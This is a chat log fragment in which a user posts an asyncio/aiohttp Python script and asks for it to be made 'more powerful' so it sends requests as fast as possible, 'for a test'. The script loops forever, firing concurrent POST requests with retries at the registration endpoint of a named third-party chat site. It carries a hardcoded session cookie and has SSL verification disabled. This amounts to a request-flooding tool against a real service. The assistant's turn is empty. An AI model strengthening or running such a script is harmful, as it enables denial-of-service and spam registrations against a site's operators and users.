make this script more powerful and be able to send requests as fast as possible in a…
- User
make this script more powerful and be able to send requests as fast as possible in a loop in python for a test
import asyncio import aiohttp import time from aiohttp import ClientSession, ClientError
Configuration Parameters
URL = "https://furrychat.net/chat/system/box/registration.php" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "Cookie": "PHPSESSID=t0ple4vu984j32plbh86sieepi; domain=furrychat.net; path=/" } CONCURRENCY = 100 # Increased concurrency limit TIMEOUT = aiohttp.ClientTimeout(total=5) RETRY_LIMIT = 3 # Number of retries for failed requests
async def send_request(session: ClientSession, semaphore: asyncio.Semaphore, request_id: int): async with semaphore: for attempt in range(1, RETRY_LIMIT + 1): try: async with session.post(URL, timeout=TIMEOUT) as response: if response.status == 200: # Optionally process the response pass else: print(f"[Request {request_id}] Failed with status: {response.status}") break # Exit the retry loop if successful except ClientError as e: print(f"[Request {request_id}] Client error on attempt {attempt}: {e}") except asyncio.TimeoutError: print(f"[Request {request_id}] Timeout on attempt {attempt}") if attempt < RETRY_LIMIT: await asyncio.sleep(0.5) # Brief pause before retrying else: print(f"[Request {request_id}] Failed after {RETRY_LIMIT} attempts.")
async def producer(session: ClientSession, semaphore: asyncio.Semaphore): request_id = 0 while True: request_id += 1 asyncio.create_task(send_request(session, semaphore, request_id)) # Optionally adjust the sleep duration to control the request rate await asyncio.sleep(0) # Yield control to allow other tasks to run
async def main(): semaphore = asyncio.Semaphore(CONCURRENCY) connector = aiohttp.TCPConnector( limit=CONCURRENCY * 2, # Adjust based on your needs family=0, # AF_INET or AF_INET6 addresses ssl=False # Set to True if SSL verification is needed ) async with aiohttp.ClientSession(headers=HEADERS, connector=connector) as session: producer_task = asyncio.create_task(producer(session, semaphore)) # Run the producer for a specific duration or indefinitely try: await producer_task except asyncio.CancelledError: pass
if name == "main": start_time = time.time() try: asyncio.run(main()) except KeyboardInterrupt: print("\nProcess interrupted by user.") finally: end_time = time.time() print(f"Total runtime: {end_time - start_time:.2f} seconds")
- Assistant